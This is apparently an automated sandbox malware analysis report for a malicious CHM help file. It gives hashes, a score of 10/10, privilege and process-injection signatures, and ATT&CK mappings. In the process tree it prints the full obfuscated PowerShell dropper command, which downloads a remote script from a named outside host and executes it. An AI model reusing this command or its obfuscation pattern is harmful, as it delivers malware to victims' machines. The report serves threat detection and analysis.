418cdd70eebf59fb709f1d8e476bd05fd62e1b1e7468ed905f39e141befd7c3f

Analysis

max time kernel
45s
max time network
49s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
08-12-2022 08:13

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General

Target

mel9.chm
Size

13KB
MD5

e7a3bc55f52eebb6ce7df0a0047fec40
SHA1

b152e0d6abc8dab4500aaa4161dac968e54cad20
SHA256

908d78eb614a8ecf652163a4ccbdf62deec33d03747d4342d4f90e5bcf7995d8
SHA512

3537fee98df7a02510e65c4a7fbe302e154d37e5ea497fe2677936f3442afc565a4a6307a870971ca3f45a8d25bee50b71a04c515664737cbe72d4031a186a81
SSDEEP

192:8FYhJztroZ7rRXcAU9aoSpW9KZYtsufMCKv6:gYjtroZ7rAv9yYtsuFKv

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cricot2.kylos.pl/mel9.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1360 powershell.exe
6 1360 powershell.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

hh.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main hh.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1360 powershell.exe

flow	pid	process
5	1360	powershell.exe
6	1360	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	hh.exe

pid	process
1360	powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeIncreaseQuotaPrivilege	1360	powershell.exe
Token: SeSecurityPrivilege	1360	powershell.exe
Token: SeTakeOwnershipPrivilege	1360	powershell.exe
Token: SeLoadDriverPrivilege	1360	powershell.exe
Token: SeSystemProfilePrivilege	1360	powershell.exe
Token: SeSystemtimePrivilege	1360	powershell.exe
Token: SeProfSingleProcessPrivilege	1360	powershell.exe
Token: SeIncBasePriorityPrivilege	1360	powershell.exe
Token: SeCreatePagefilePrivilege	1360	powershell.exe
Token: SeBackupPrivilege	1360	powershell.exe
Token: SeRestorePrivilege	1360	powershell.exe
Token: SeShutdownPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeSystemEnvironmentPrivilege	1360	powershell.exe
Token: SeRemoteShutdownPrivilege	1360	powershell.exe
Token: SeUndockPrivilege	1360	powershell.exe
Token: SeManageVolumePrivilege	1360	powershell.exe
Token: 33	1360	powershell.exe
Token: 34	1360	powershell.exe
Token: 35	1360	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

hh.exe

pid process

2004 hh.exe
2004 hh.exe

pid	process
2004	hh.exe
2004	hh.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

hh.exe

description	pid	process	target process
PID 2004 wrote to memory of 1360	2004	hh.exe	powershell.exe
PID 2004 wrote to memory of 1360	2004	hh.exe	powershell.exe
PID 2004 wrote to memory of 1360	2004	hh.exe	powershell.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\mel9.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://cricot2.kylos.pl/mel9.txt')|P
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1360

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1360-55-0x0000000000000000-mapping.dmp

Download
memory/1360-57-0x000007FEEF550000-0x000007FEEFF73000-memory.dmp

Filesize
10.1MB

Download
memory/1360-58-0x000007FEEE9F0000-0x000007FEEF54D000-memory.dmp

Filesize
11.4MB

Download
memory/1360-60-0x0000000002694000-0x0000000002697000-memory.dmp

Filesize
12KB

Download
memory/1360-59-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/1360-61-0x000000000269B000-0x00000000026BA000-memory.dmp

Filesize
124KB

Download
memory/1360-62-0x0000000002694000-0x0000000002697000-memory.dmp

Filesize
12KB

Download
memory/1360-63-0x000000000269B000-0x00000000026BA000-memory.dmp

Filesize
124KB

Download
memory/2004-54-0x000007FEFC1B1000-0x000007FEFC1B3000-memory.dmp

Filesize
8KB

Download